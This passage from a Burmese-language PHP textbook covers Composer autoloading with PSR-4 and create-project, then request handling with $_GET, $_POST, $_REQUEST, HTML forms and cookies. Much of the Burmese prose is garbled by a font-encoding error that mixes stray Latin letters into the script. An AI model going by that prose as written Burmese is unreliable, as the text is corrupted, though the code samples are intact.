ဒီအတိုင်းစမ်းeကည့်လိုက်ရင်  လက်ရှိရက်စွဲအချနိ်မှာ  (၁)  ရက်dပါင်းထားdပးတဲ့  ရက်စွဲအချနိ်ကို  ရရှိမှာပဲ
goစ်ပါတယ်။ ပြပီးခဲ့တဲ့အခန်းမှာ eကည့်ခဲ့တဲ့  Class Autoload  ရဲ့ သdzာသzာဝအတိုင်းပဲ  Carbon Class
ကို  use Statement  နဲ့  သံုးdပးလုိက်o့ုိပဲ  လုိပါတယ်။  ကိုယ့်zာသာ  Include  လုပ်စရာမလုိပါzူး။
Composer က autoload.php ထဲမှာ အလုိအdလျှာက် Include လုပ်dအာင် ထည့်dရးdပးထားပြပီး goစ်
ပါတယ်။

ဒီ autoload.php ကို ကိုယ့်ကုဒ်dတွအတွက်လည်း အသံုးgပုနိုင်ပါတယ်။ စမ်းeကည့်နိုင်o့ုိအတွက် App
အမည်နဲ့ oုိဒါတစ်ခု dဆာက်လုိက်ပါ။ App အတွင်းထဲမှာ Library အမည်နဲ့ dနာက်ထပ် oုိဒါတစ်ခု ထပ်
dဆာက်လုိက်ပါ။ ပြပီးရင်  Math.php အမည်နဲ့  ကုဒ်oုိင်တစ်ခုကို  Library ထဲမှာ dရးdပးလုိက်ပါ။ ဒါ
deကာင့် oုိင်  Path  လမ်းdeကာင်း အgပည့်အစုံက App\Library\Math.php goစ်ရပါမယ်။ dရးရမယ့်
ကုဒ်က ဒီလိုပါ –

 PHP 
<?php
namespace App\Library;
class Math
{

static function add($a, $b)
{

echo $a + $b;
}

}
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PSR-4  သတ်မှတ်ချက်နဲ့အညီ  oုိဒါလမ်းdeကာင်းအတိုင်း  Namespace  dပးထားတာကို  သတိgပုပါ။  ပြပီး
dတာ့ Class အမည်ကိုလည်း oုိင်အမည်နဲ့ တူdအာင်dပးထားပါတယ်။ ပြပီးတဲ့အခါ composer.json မှာ
autoload လ့ုိdခါ်တဲ့ Section တစ်ခုထပ်ထည့်dပးရပါမယ်။ ဒီလုိပါ –

 JSON – composer.json 
{
    "name": "fairway/app",
    "authors": [
        {
            "name": "Ei Maung",
            "email": "eimg@fairwayweb.com"
        }
    ],
    "require": {
        "nesbot/carbon": "^2.43"
    },
    "autoload": {
        "psr-4": {
            "App\\": "App/"
        }
    }
}

autoload ရဲ့  psr-4 မှာ  Namespace  App ဆိုရင်  အလုပ်လုပ်ရမယ့် oုိဒါက  App  oုိဒါgoစ်deကာင်း
dgပာdပးလုိက်တာပါ။ ဒီလုိdgပာdပးလုိက်တဲ့အတွက် Composer   က   Namespace   App     နဲ့စတဲ့    Class   oုိင်  
dတွကို   App   oုိဒါထဲမှာ သွားရှာdတာ့မှာပါ  ။

dနာက်တစ်ဆင့်အdနနဲ့  composer dump-autoload Command  ကို  Run  dပးo့ုိလုိပါတယ်။  ဒီ
dတာ့မှ  conposer.json မှာ  goည့်စွက်dရးသားလိုက်တဲ့  autoload လုပ်dဆာင်ချက်dတွက
အသက်ဝင်မှာပါ။

composer dump-autoload

composer.json မှာ autoload Section ထည့်ပြပီးပြပီ၊  dump-autoload လည်း Run ပြပီးပြပီဆိုရင်
စတင်အသံုးgပုနိုင်ပါပြပီ။ dရးလက်စ index.php မှာ အခုလုိdgပာင်းdရးပြပီး စမ်းeကည့်နိုင်ပါတယ်။
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 PHP 
<?php
include('vendor/autoload.php');
use Carbon\Carbon;
use App\Library\Math;
echo Carbon::now()->addDay();
echo Math::add(1, 2); // 3

App\Library\Math ကို  use နဲ့သံုးdပးလုိက်တာနဲ့  autoload က Class oုိင်ကို အလုိအdလျှာက်
Include လုပ်dပးသွားမှာgoစ်လ့ုိ ကိုယ်zာသာ Include လုပ်စရာမလုိzဲ အသံုးgပုလို့ရရှိသွားပါပြပီ။

ဒီနည်းနဲ့  Class Autoload လုပ်dဆာင်ချက်ရdအာင် ကိုယ်တိုင်dရးသားလ့ုိရသလို၊  Composer ကdရးdပး
ထားတာကိုသံုးလ့ုိလည်း ရနိုင်gခင်းgoစ်ပါတယ်။

dနာက်ထပ်တစ်ခုအdနနဲ့  composer  create-project ကို  မှတ်သားသင့်ပါတယ်။  create-
project ကလည်း  လုိချင်တဲ့  Package  ကို  Download  လုပ်ရယူတာပါပဲ။  ကွာသွားတာကdတာ့
require နဲ့  Download  ရယူရင်  ရလာတဲ့  Package  ကို  vendor oုိဒါထဲမှာ  ထည့်dပးပါတယ်။
create-project နဲ့  Download    ရယူရင်dတာ့    Package    ကို  အသံုးgပုပြပီး  ပdရာZျက်oုိဒါ  အသစ်  
တည်dဆာက်dပးပြပီး   Package   oုိင်dတွကို အ့ဲဒီပdရာZျက်oုိဒါသစ်ထဲမှာ ကူးထည့်dပးပါတယ်  ။

နှစ်မျ ို းနှိုင်းယှဉ်ပြပီး စမ်းeကည့်နိုင်ပါတယ်။ လက်ရှိစမ်းလက်စ ပdရာZျက်oုိဒါထဲမှာ အခုလုိ Run eကည့်ပါ။

composer require laravel/laravel

ဒါဆိုရင် Laravel Framework ကို Download ရယူပြပီး vendor oုိဒါထဲမှာ ထည့်dပးသွားမှာပါ။ ပြပီးတဲ့အခါ
အခုလုိ စမ်းeကည့်ပါ။

composer create-project laravel/laravel project
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composer create-project dနာက်ကdန Download  ရယူလုိတဲ့  Package  နဲ့ တည်dဆာက်လုိ
တဲ့  ပdရာZျက်oိုဒါအမည်  dပးလုိက်တာပါ။  နမူနာအရ  project အမည်နဲ့  oုိဒါအသစ်တစ်ခု
တည်dဆာက်ပြပီး Laravel Framework ကုဒ်dတွကို အ့ဲဒီoုိဒါထဲမှာ ထည့်dပးသွားတာကို dတွ့ရမှာပဲ goစ်ပါ
တယ်။ 

require နဲ့ထည့်သွင်းလုိက်လ့ုိ  ဝင်dရာက်သွားတဲ့  vendor/laravel/laravel oုိဒါထဲက  ကုဒ်
dတွနဲ့  create-project နဲ့ တည်dဆာက်လိုက်လ့ုိ ရရိှသွားတဲ့  project oုိဒါထဲကကုဒ်dတွ အများ
အားgoင့် အတူတူပဲဆိုတာကို dတွ့ရနိုင်ပါတယ်။ ဒီနည်းနဲ့  Composer ကိုအသံုးgပုပြပီး Package dတွ ရယူ
ယံုသာမက၊ လုိချင်တဲ့ Package ကိုကူးယူပြပီးdတာ့လည်း ပdရာZျက်အသစ်dတွ တည်dဆာက်နိုင်ပါတယ်။
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အခန်း (၃၆) – Requests, Cookies & Sessions

ဟိုးအစပုိင်းမှာ  PHP  ရဲ့  Server-side  နည်းပညာသdzာသzာဝကို  doာ်gပခဲ့ပြပီးgoစ်ပါတယ်။  PHP  ဟာ
Web Server  နဲ့ပူးdပါင်းပြပီး  Client  dပးပ့ုိတဲ့  Request  dတွကို  လက်ခံရရှိချနိ်မှာ အလုပ်လုပ်တာပါ။ ဒီလုိ
အလုပ်လုပ်တဲ့အခါ Request နဲ့ အတူပါဝင်လာတဲ့ Request Data dတွကို လက်ခံ စီမံနိုင်oို့ဟာ အdရးကြကီး
တဲ့  လုိအပ်ချက်  goစ်ပါတယ်။  အgခားdသာ  Programming  Language  dတွမှာ  ဒီလုိ  Request  dတွကို
လက်ခံစီမံoို့အတွက် သီးgခား Library dတွ Module dတွ Framework dတွ ထပ်မံထည့်သွင်းပြပီး အသံုးgပု
ရတာမျ ို း  goစ်နိုင်ပါတယ်။  PHP  ရဲ့  ထူးgခားချက်ကdတာ့ တgခားzာမှ ထပ်ထည့်စရာမလုိzဲ  Language
ကိုယ်တိုင်က    Request    dတွကို  လက်ခံစီမံနိုင်gခင်းပဲ  goစ်ပါတယ်  ။  ဒီအခန်းမှာ  PHP  ကို  အသံုးgပုပြပီး
Request Data dတွ လက်ခံစီမံနိုင်ပံုကို doာ်gပသွားမှာ goစ်ပါတယ်။

Web  Application  dတွမှာ  Request  Data  dတွဟာ  ပံုစံနှစ်မျ ို းနဲ့  လာdလ့ရှိပါတယ်။  ပထမတစ်မျ ို း
ကdတာ့ URL Query ပါ။ ဥပမာ ဒီလိပ်စာကို dလ့လာeကည့်ပါ။

https://www.google.com/search?q=  php  &hl=my  

ဒါဟာအမှန်တစ်ကယ် အသံုးgပုလုိ့ရတဲ့ လိပ်စာပါ။ ဒီလိပ်စာမှာ အdရးကြကီးတာက ? သdက[တdလးနဲ့အတူ
dနာက်ကdနပူးတွဲပါဝင်လာတဲ့  အချက်အလက်များgoစ်ပါတယ်။ dသချာdလ့လာeကည့်ပါ။  ? သdက[dလး
dနာက်မှာ  ပူးတွဲပါဝင်dနတဲ့  တန်oုိးနှစ်ခု  ရှိပါတယ်။  q=php နဲ့  hl=my တို့ပါ။  ဒီတန်oုိးနှစ်ခုကို  &
သdက[တdလးနဲ့ တွဲဆက်ပြပီးdပးထားgခင်း goစ်ပါတယ်။

https://www.google.com/search?q=php&hl=my
https://www.google.com/search?q=php&hl=my
https://www.google.com/search?q=php&hl=my
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နမူနာလိပ်စာက Google Search ကိုညွှန်းထားတဲ့လိပ်စာgoစ်လ့ုိ Browser URL Bar မှာရိုက်ထည့်လုိက်တဲ့
အခါ  Google Server  ရဲ့  Search  လုပ်dဆာင်ချက်တည်ရှရိာကို dရာကရ်ှိသွားမှာပါ။ ဒီလုိdရာကရ်ှိသွားတဲ့
အခါ Google Server က ပါဝင်လာတဲ့ q=php ဆိုတဲ့တန်oုိးနဲ့ hl=my ဆိုတဲ့တန်oုိးနှစ်ခုတို့ကို လက်ခရံရှိ
သွားမှာပါ။ ဒါdeကာင့် gမန်မာzာသာနဲ့ doာ်gပထားတဲ့  php အတွက်  Search Result  ကို gပန်လည်dပးပ့ုိ
လုိက်မှာပဲ goစ်ပါတယ်။ လက်dတွ့ စမ်းသပ်eကည့်နိုင်ပါတယ်။

Google Server က URL အတွင်းမှာ ပါဝင်လာတဲ့ URL Query တန်oုိးdတွကို လက်ခံအလုပ်လုပ်နိုင်သလိုပဲ
PHP ကလည်း လက်ခံအလုပ်လုပ်နိုင်ပါတယ်။ အလွန်လွယ်ကူပြပီး ရိုးရှင်းတဲ့နည်းလမ်းdလးတစ်ခုနဲ့ လက်ခံ
အလုပ်လုပ်မှာပါ။

PHP မှာ $_GET လ့ုိdခါ်တဲ့  Superglobal Variable တစ်ခရုှိပါတယ်။ PHP က ကြကိုတင်deကညာdပးထား
တဲ့  Variable  ပါ။  ဒါdeကာင့်  ကိုယ့်zာသာ deကညာစရာမလုိပါzူး။  အ့ဲဒီ  Variable  ထဲမှာ  URL Query
အdနနဲ့  ပါဝင်လာတဲ့  တန်oိုးdတွကို  Associate  Array  အdနနဲ့  ထည့်သွင်းdပးထားမှာ  goစ်ပါတယ်။  ဒါ
deကာင့် get.php ဆိုတဲ့အမည်နဲ့ oုိင်တစ်ခုထဲမှာ အခုလုိdရးပြပီး Document Root oုိဒါgoစ်တဲ့  htdocs
ထဲမှာ သိမ်းလုိက်ပါ။

 PHP 
<?php
print_r( $_GET );

ပြပီးတဲ့အခါ  localhost/get.php လ့ုိ  Browser  မှာရိုက်ထည့်ပြပီး  စမ်းeကည့်လုိက်ရင်  zာတန်oုိးမှ  မရှိတဲ့
Array အလွတ်တစ်ခုကို gပန်ရတာ dတွ့ရမှာပဲ goစ်ပါတယ်။ သတိgပုပါ။ Error မgoစ်ပါzူး။ Variable သာ
မရှရိင် မရှိdeကာင်း Error တက်မှာပါ။ အခုက Variable ရှိdနလ့ုိ Error မတက်ပါzူး။ URL Query တန်oုိး
dတွ မရှိdသးလ့ုိသာ zာတန်oုိးမှ မရှိdသးတဲ့ Array အလွတ်တစ်ခု goစ်dနတာပါ။ ဒါdeကာင့် အခုလုိ ထပ်
ပြပီးdတာ့ စမ်းeကည့်လုိက်ပါ။

localhost/get.php?name=Alice&age=22



PWD 2022 – အခန်း (၃၆) – Requests, Cookies & Sessions 544

ဒါဆိုရင်dတာ့ အခုလုိရလဒ်ကို gပန်လည်ရရှိတာကို dတွ့ရမှာပဲ goစ်ပါတယ်။

Array ( [name] => Alice [age] => 22 )

URL Query  အdနနဲ့ပါဝင်လာတဲ့တန်oုိးdတွဟာ  $_GET Variable  ထဲမှာ dရာကရ်ှိdနတာကို  dတွ့gမင်ရ
gခင်းပဲgoစ်ပါတယ်။  ဒါဟာ  eကည့်လုိက်ရင်  zာမှမဟုတ်သလိုနဲ့  dတာ်dတာ်dလး  အdရးပါတဲ့
လုပ်dဆာင်ချက် တစ်ခုပါ။ 

ဒီလုိ  URL Query  တန်oုိးdတွ  အသင့်သံုးလ့ုိရနိုင်oို့အတွက်  URL  ကို  Parse  လုပ်ရပါတယ်။  Parse  လုပ်
တယ်ဆိုတာ အပုိင်းလုိက်goတ်dတာက်ပြပီး  လုိချင်တဲ့တန်oုိးကို  ထုတ်ယူတဲ့သdzာပါ။  ပြပီးတဲ့အခါ  တန်oုိး
dတွကို Decode လုပ်ရပါတယ်။ URL Query တန်oုိးdတွမှာ Space dတွ Special Character dတွပါလ့ုိမရ
ပါzူး။ ပါလာခဲ့ရင်  Browser  က သင်dတာ်တဲ့  သdက[တdတွနဲ့  Encode  လုပ်ပြပီး  ပ့ုိလုိက်မှာပါ။  ဥပမာ  -
Space ဆိရုင် %20 သdက[တနဲ့  Encode လုပ်dပးပါတယ်။ ဒီလုိ Encode လုပ်ထားတဲ့တန်oုိးdတွကို မူလ
တန်oုိးအမှန် gပန်goစ်o့ုိအတွက် Decode လုပ်ရတာပါ။ ပြပီးတဲ့အခါ String Format goစ်dနတဲ့တန်oုိးdတွကို
Array goစ်သွားdအာင် dgပာင်းdပးရပါတယ်။ ဒီအလုပ်dတွအကုန်လံုးကို   PHP   က လုပ်dပးသွားလ့ုိ   ကိုယ်က
သိစရာ၊ ထိစရာ မလုိdတာ့zဲ၊  URL Query တန်oုိးကိုလိုချင်ရင် $_GET Variable ထဲကdန အသင့်ယူသုံး
လ့ုိ ရသွားgခင်းပဲgoစ်ပါတယ်။

PHP မှာ $_GET လုိမျ ို း တgခား Superglobal Variable dတရွှိeကပါdသးတယ်။ ဆက်လက်doာ်gပပါမယ်။
ဒီ  Superglobal Variable dတွရဲ့ ထူးgခားချက်ကdတာ့ လုိအပ်တဲ့dနရာမှ တုိက်ရိုက်အသံုးgပုနိုင်gခင်း goစ်
ပါတယ်။ Function နဲ့  Variable Scope အdeကာင်းdgပာတုံးက မှတ်မိပါလိမ့်မယ်။ Function dတွအတွင်း
မှာ Global Variable dတွကို အသံုးgပုလိုရင် global Statement နဲ့ အသုံးgပုလုိdeကာင်း ကြကိုdgပာပြပီးမှ
သံုးရပါတယ်။ Superglobal Variable   dတွကို   အသံုးgပုo့ုိအတွက် အ့ဲဒီလုိကြကိုdgပာစရာမလုိပါzူး။  ကြကိုက်
တဲ့dနရာမှာ တိုက်ရိုက်အသံုးgပုလ့ုိရနိုင်မှာပဲ goစ်ပါတယ်။

dစာdစာက  Request  Data  dတွဟာ ပံုစံနှစ်မျ ို းနဲ့  လာတယ်လ့ုိ  dgပာခဲ့ပါတယ်။  ပထမတစ်မျ ို းက  URL
Query ပါ။ dနာက်တစ်မျ ို းကdတာ့ Form Data goစ်ပါတယ်။ HTML Form တစ်ခုကdန dပးပ့ုိလာတဲ့ Data
dတွကိုလည်း လက်ခံအလုပ်လုပ်dပးနိုင်တယ်လို့ dgပာတာပါ။
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ဒီdနရာရာမှာ လုိအပ်လာတဲ့အတွက် HTML Form အdeကာင်းကို ထည့်သွင်းdလ့လာeကပါမယ်။ ကုဒ်နမူနာ
dရးစမ်းo့ုိအတွက်  form အမည်နဲ့  ပdရာZျက်oုိဒါတစ်ခုကို  htdocs dအာက်မှာ တည်dဆာက်လုိက်ပါ။
ပြပီးရင် index.php နဲ့ request.php ဆိုတဲ့ oုိင်နှစ်ခုတည်dဆာက်ပြပီး index.php ထဲမှာ ဒီကုဒ်ကို
dရးdပးပါ။

 PHP 
<!DOCTYPE html>
<html lang="en">
<head>
    <title>PHP Request</title>
</head>
<body>
    <h1>PHP Request</h1>
    <form action="request.php" method="get">
        <input type="text" name="name" placeholder="Name"><br>
        <input type="text" name="age" placeholder="Age"><br>
        <button type="submit">Send Data</button>
    </form>
</body>
</html>

ဒီနမူနာမှာ PHP ကုဒ်dတွ မပါပါzူး။ ရိုးရိုး  HTML Form တစ်ခုသာgoစ်ပါတယ်။ ဒီ Form ရဲ့အလုပ်လုပ်ပုံ
ကို  dသချာdလ့လာပါ။  <form> Element  မှာ  Attribute  နှစ်ခုရှိပါတယ်။  action Attribute  မှာ  ဒီ
Form ကdပးပ့ုိတဲ့  Data dတွကို လက်ခံအလုပ်လုပ်မယ့် ကုဒ်oုိင်ရဲ့ တည်dနရာကို dပးရတာပါ။ method
Attribute  မှာdတာ့  HTTP Request  dတွထဲက get သ့ုိမဟုတ်  post ဆိုတဲ့  နှစ်ခုထဲက အသံုးgပုလုိတဲ့
တစ်ခုကို dပးရတာပါ။ နမူနာမှာ get လ့ုိdပးထားပါတယ်။ တစ်ကယ်dတာ့ Default Method က get ပါ။
ဒါdeကာင့်  method   Attribute    မdပးရင်လည်း    method     ရဲ့တန်oုိးက    get     ပဲgoစ်မှာပါပဲ  ။  dပးရမှန်းသိ
dအာင် သာထည့်dရးdပးလုိက်တာပါ။

Form အတွင်းထဲမှာ User က ရိုက်ထည့်လို့ရတဲ့၊ dရွးချယ်လ့ုိရတဲ့ Input dတရွှိပါတယ်။ Data ကိုလက်ခံလုိ
တဲ့  Input    တိုင်းမှာ    name   Attribute    ပါရပါတယ်  ။ မပါရင် အ့ဲဒီ  Input  က  Data  ကို  ထည့်သွင်းလက်ခံ
အလုပ်လုပ်မှာ မဟုတ်ပါzူး။
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Data  dတွပ့ုိdပးတဲ့  Button  တစ်ခုကိုလည်း  ထည့်dပးထားတာကို  dတွ့ရနိုင်ပါတယ်။  နှစ်မျ ို းdရးလ့ုိရပါ
တယ်။ <button type="submit"></button> သ့ုိမဟုတ် <input type="submit"> goစ်
ပါတယ်။ နမူနာမှာ တgခား Input dတွနဲ့ကွဲgပားသွားdအာင် <input type="submit"> ကို မသုံးzဲ
<button type="submit"></button> ကို  အသံုးgပုထားပါတယ်။ ဒီ  Button  ကို  နှိပ်လုိက်ရင်
Input  dတွမှာ dရးွချယ် goည့်သွင်းထားတဲ့  Data  dတွကို  action မှာ သတ်မှတ်ထားတဲ့  ကုဒ်oုိင်ထံ ပ့ုိ
dပးလုိက်မှာ goစ်ပါတယ်။

အ့ဲဒီလုိ  ပ့ုိdပးတဲ့အလုပ်ကိုလုပ်oုိ့  ကိုယ့်zက်က  zာမှdရးdပးစရာမလုိပါzူး။  Web  Browser  က  သူ့
zာသာ  လုပ်dပးသွားမှာပါ။  ကိုယ်zက်က  dပးပို့လာတဲ့  Data  dတွကို  လက်ခံo့ုိပဲလုိပါတယ်။  အ့ဲဒီလုိ
လက်ခံတဲ့အလုပ်အတွက်လည်း zာမှdရးdပးစရာမလိုပါzူး။ PHP က အဆင်သင့်လက်ခံထားdပးမှာ goစ်
ပါတယ်။

စမ်းeကည့်နိုင်o့ုိအတွက် request.php မှာ အခုလုိကုဒ်dလးdရးလိုက်ပါ။

 PHP 
<?php
print_r( $_GET );

စမ်းeကည့်လ့ုိရပါပြပီ။  Browser URL Bar မှာ  localhost/form လ့ုိ ရိုက်ထည့်လုိက်တဲ့အခါ  form oုိဒါထဲက
index.php အလုပ်လုပ်သွားလ့ုိ အခုလုိရလဒ်ကို dတွgမင်ရပါလိမ့်မယ်။
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သတ်မှတ်ထားတဲ့အတိုင်း Name နဲ့ Age dရးgoည့်လ့ုိရတဲ့ Form တစ်ခုကိုdတွ့gမင်dနရတာပါ။ နှစ်သက်ရာ
တန်oုိးdတွ goည့်သွင်းပြပီး  Send Data ခလုပ်ကို  နှိပ်eကည့်နိုင်ပါတယ်။ အ့ဲဒီလုိ နှိပ်လိုက်တဲ့အခါ  Form  ရဲ့
action Attribute မှာdပးထားတဲ့  request.php ကို dရာက်ရှိသွားပြပီး အခုလုိရလဒ်ကို dတွ့ gမင်ရမှာ
ပဲ goစ်ပါတယ်။

ဒီdနရာမှာ သတိgပုပါ။  request.php ကိုdရာကရ်ှိလာတဲ့အခါ  dရးgoည့်လုိက်တဲ့  တန်oုိးdတွ ပါဝင်တဲ့
URL Query   တစ်ခု အလုိအdလျှာက် ပါဝင်သွားတာကို   dတွ့ရမှာပဲgoစ်ပါတယ်။ dစာdစာကပဲ eကည့်ခဲ့ပြပီးပါ



PWD 2022 – အခန်း (၃၆) – Requests, Cookies & Sessions 548

ပြပီ။ URL Query မှာပါဝင်လာတဲ့တန်oုိးdတွဟာ $_GET Superglobal Variable ထဲမှာ အသင့်ရှိdနမှာgoစ်
လ့ုိ  ရိုက်ထုတ်doာ်gပထားတဲ့dနရာမှာလည်း  Form  ကdပးလုိက်တဲ့  တန်oုိးdတွကို  Array  တစ်ခုအdနနဲ့
ရရှိdနတာကို dတွ့gမင်ရမှာပဲ goစ်ပါတယ်။

ဒီနည်းနဲ့ PHP က HTML Form ကdနတစ်ဆင့် dပးပ့ုိလာတဲ့ Data dတွကို လက်ခံစီမံလို့ ရသွားမှာပဲ goစ်ပါ
တယ်။ ဒီလုိစီမံတဲ့အခါ HTML Form မှာ Method နှစ်မျ ို းရှိသလုိပဲ၊ PHP မှာလည်း Superglobal နှစ်မျ ို း ရှိ
ပါတယ်။ $_GET နဲ့ $_POST goစ်ပါတယ်။ စမ်းeကည့်နိုင်o့ုိအတွက် HTML Form မှာ အခုလုိgပင်dပးလုိက်
ပါ။

<form action="request.php" method="post">
… 

</form>

ဒီလုိdgပာင်းပြပီးစမ်းeကည့်ရင် အလုပ်လုပ်မှာ မဟုတ်dတာ့ပါzူး။ zာdeကာင့်လဲဆိုdတာ့ Form ကအသံုးgပု
တဲ့  Request Method  က post goစ်သွားdပမယ့် တစ်zက်မှာစမ်းသပ်အသုံးgပုdနတာက $_GET goစ်
dနလ့ုိပါ။ ဒါdeကာင့် request.php မှာလည်း အခုလုိ gပင်dပးလုိက်o့ုိ လုိပါတယ်။

 PHP 
<?php
print_r( $_POST );

ဒီတစ်ခါစမ်းeကည့်လုိက်ရင်dတာ့  အဆင်dgပသွားတာကို  dတွ့ရမှာပဲ  goစ်ပါတယ်။  ဒါdeကာင့်  Form
method နဲ့ကိုက်ညီတဲ့  သင့်dတာ်ရာ  Variable  ကို  အသံုးgပုdပးရတယ်ဆိုတာကို  သတိgပုပါ။  ပြပီးdတာ့
Form Method က post ဆိရုင် dစာdစာကလုိ URL Query အdနနဲ့ ထည့်သွင်းdပးgခင်း မgပုdတာ့တာကို
လည်း သတိgပုပါ။ အdgခခံအားgoင့် အချက်အလက်dတွ ရယူယံု သက်သက်ဆိုရင်  get ကို  အသံုးgပုeက
ပြပီး၊  Server  က အချက်အလက်dတွ  dgပာင်းလဲdစချင်ရင်  post ကိုသုံးရတာပါ။  dနာက်ထပ်  Request
Data  dတွလက်ခံdပးထားတဲ့  Superglobal  တစ်ခုလည်း ရှိပါdသးတယ်။  $_REQUEST လ့ုိdခါ်ပါတယ်။
request.php မှာ အခုလုိgပင်ပြပီး စမ်းeကည့်ရင်လည်း အလုပ်လုပ်တယ်ဆိုတာကို dတွ့ရနိုင်ပါတယ်။
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 PHP 
<?php
print_r( $_REQUEST );

ဒီ $_REQUEST Superglobal ရဲ့ထားgခားချက်ကdတာ့ တစ်zက်ကလာတဲ့ Method zာပဲgoစ်goစ် Data
dတွကို လက်ခံdပးထားgခင်းပဲgoစ်ပါတယ်။ ဒါdeကာင့် Method get နဲ့ အလုပ်လုပ်သလုိ Method post
နဲ့လည်း  အလုပ်လုပ်မှာ  goစ်ပါတယ်။  အခု  Form  Data  dတွ  Request  dတွလက်ခံပံုနဲ့ပက်သက်ပြပီး  ဒီ
dလာက်ပဲ မှတ်ထားပါဦး။ ခဏနေdနမှ ဒီဗဟုသုတကို အသံုးချပြပီး နည်းနည်းပုိစိတ်ဝင်စားo့ုိdကာင်းတဲ့ နမူနာ
dလး လုပ်eကည့်eကပါမယ်။  အ့ဲဒီနမူနာdလးမလုပ်ခင်  ကြကိုသိထားသင့်တဲ့  Cookie  နဲ့  Session  လ့ုိdခါ်တဲ့
Web နည်းပညာ သdzာသzာဝdလးdတွအdeကာင်းကို dgပာပါဦးမယ်။

Cookies
Web  နည်းပညာမှာ  Cookie  လ့ုိdခါ်တဲ့  သdzာသzာဝတစ်ခရုှိပါတယ်။  အမည်ကထူးဆန်းdနdပမယ့်
တစ်ကယ်dတာ့  Web Browser  နဲ့အတူ တစ်ချ ို ့အချက်အလက်dလးdတွ ပူးတွဲသိမ်းဆည်းလို့ရတဲ့  နည်း
ပညာ goစ်ပါတယ်။ JavaScript ကိုအသံုးgပုပြပီး အခုလုိ Cookie Data dတွ သိမ်းလ့ုိရပါတယ်။

 HTML & JavaScript 
<script>
    document.cookie = "name=Alice";
    document.cookie = "theme=dark";
</script>

ဒါဟာ  name=Alice နဲ့  theme=dark လ့ုိdခါ်တဲ့  တန်oုိးနှစ်ခုကို  Cookie  ထဲမှာ  သိမ်းလုိက်တာပါ။
Cookie ရဲ့ထူးgခားချက်ကdတာ့ အ့ဲဒီလုိ သိမ်းထားတဲ့    Cookie Data   dတွကို   Request   dပးပ့ုိလုိက်တိုင်းမှာ  
အလုိအdလျှာက် ထည့်သွင်းdပးပ့ုိgခင်းပဲ goစ်ပါတယ်။ ဒါdeကာင့် ခဏနေခဏနေ ပ့ုိရမယ့် အချက်အလက်dတွရှိ
ရင်  Cookie  ထဲမှာ  ထည့်ထားလုိက်gခင်းအားgoင့်  ကိုယ့်zာသာ ခဏနေခဏနေပ့ုိစရာ  မလုိdတာ့zဲ  Request
လုပ်လုိက်တိုင်း ပါဝင်သွားမှာပဲgoစ်ပါတယ်။

တစ်ကယ်dတာ့  Cookie  ထဲမှာတန်oုိးdတွ သိမ်းပံုသိမ်းနည်းကို  dgပာပြပီဆိုရင်၊  zယ်လုိgပန်လည်ရယူရလဲ၊
gပန်oျက်ချင်ရင်  zယ်လုိoျက်ရလဲ  စသည်goင့်  dgပာo့ုိလုိပါတယ်။  ဒါdပမယ့်  ဒီdနရာမှာ  dgပာချင်တာက
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JavaScript နဲ့  Cookie Data dတွကို zယ်လိုစီမံရလဲ ဆိုတဲ့အdeကာင်း မဟုတ်ပါzူး။ အ့ဲဒီ Cookie Data
dတွကို PHP နဲ့ zယ်လိုစီမံရလဲဆိုတာကို dgပာချင်တာပါ။

PHP  ဟာ Server-side  မှာအလုပ်လုပ်တဲ့ နည်းပညာgoစ်တဲ့အတွက်  Client  goစ်တဲ့  Browser  ရဲ့  Cookie
dတွကို  တိုက်ရိုက်စီမံလ့ုိdတာ့  မရပါzူး။  ဒါdပမယ့်  စီမံပံုစီမံနည်းdတာ့  ရိှပါတယ်။  PHP  မှာ
setcookie() လ့ုိdခါ်တဲ့ Standard Function တစ်ခရုှိပါတယ်။ ဒီလုိdရးရပါတယ်။

setcookie("name", "Bob");
setcookie("theme", "light");

ဒါဟာ PHP ကိုအသံုးgပုပြပီး name=Bob နဲ့ theme=light ဆိုတဲ့ Cookie Data နှစ်ခုကို သိမ်းခိုင်လိုက်
တာပါ။  PHP  က  Browser  dပါ်မှာ သူကိုယ်တိုင်သွားသိမ်းလ့ုိ မရdပမယ့်  Response  နဲ့အတူ  Response
Header ထဲမှာ အခုလုိ ထည့်dပးလုိက်မှာပါ။

HTTP/1.1 200 OK
Set-Cookie: name=Bob
Set-Cookie: theme=light

ဒီလုိမျ ို း Set-Cookie Header နဲ့ Response ကိုdပးလုိက်တဲ့အခါ လက်ခံရရှိတဲ့ Browser က သိသွားပါ
တယ်။  ဒါဟာ  Server  က  ငါ့ကို  Cookie  Data  dတွသိမ်းခိုင်းdနတာပဲ။  ဒါdeကာင့်  Browser  က  ဒီ
Response ကို လက်ခံရရှိချနိ်မှာ Cookie Data dတွကို  Server ကိုယ်စား သိမ်းdပးသွားမှာပဲ goစ်ပါတယ်။
ဒီလုိတစ်ကြကိမ် သိမ်းထားလိုက်ပြပီဆိုရင်dတာ့ dနာက်ပုိင်းgပုလုပ်တဲ့ Request dတွမှာ Cookie Data dတွက
ပူးတွဲပါဝင်သွားdတာ့မှာပဲ goစ်ပါတယ်။

ဒါကိုလက်dတွ့စမ်းသပ်နိုင်o့ုိအတွက်  save-cookie.php ဆိုတဲ့အမည်နဲ့ oုိင်တစ်ခုထဲမှာ အခုလုိdလး
dရးပြပီးစမ်းeကည့်နိုင်ပါတယ်။
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 PHP 
<?php
setcookie("name", "Bob");
setcookie("theme", "light");
echo "See view-cookie.php";

Cookie  Data  dတွသိမ်းခိုင်းတဲ့ကုဒ်ကို  dရးdပးလိုက်တာပါ။  ဒီလုိသိမ်းdပးလုိက်တဲ့အတွက်  dနာက်ပုိင်း
Request  dတွမှာ  အလုိအdလျှာက်  ပါဝင်လာမယ့်  တန်oုိးdတွကိုdတာ့  PHP  က  $_COOKIE
Superglobal Variable နဲ့ အသင့်လက်ခံထားdပးမှာ goစ်ပါတယ်။ ဒါdeကာင့်  view-cookie.php ဆို
တဲ့oုိင်ထဲမှာ ဒီလုိdရးပြပီးစမ်းeကည့်နိုင်ပါတယ်။

 PHP 
<?php
print_r( $_COOKIE );
// Array ( [name] => Bob [theme] => light )

Browser က အလိုအdလျှာက် dပးပ့ုိလုိက်တဲ့အတွက်  Cookie Data dတွ $_COOKIE Superglobal  ထဲ
မှာ အသင့်ရှိdနတာကို  dတွ့gမင်ရgခင်းပဲgoစ်ပါတယ်။  Cookie  dတွသိမ်းစဉ်မှာ  Expire Time  နဲ့  Path  ကို
ထည့်သွင်းသိမ်းဆည်းနိုင်ပါတယ်။ Expire Time ဆိုတာ ဒီ Cookie ကို zယ်dလာက်eကာdအာင် သိမ်းdပး
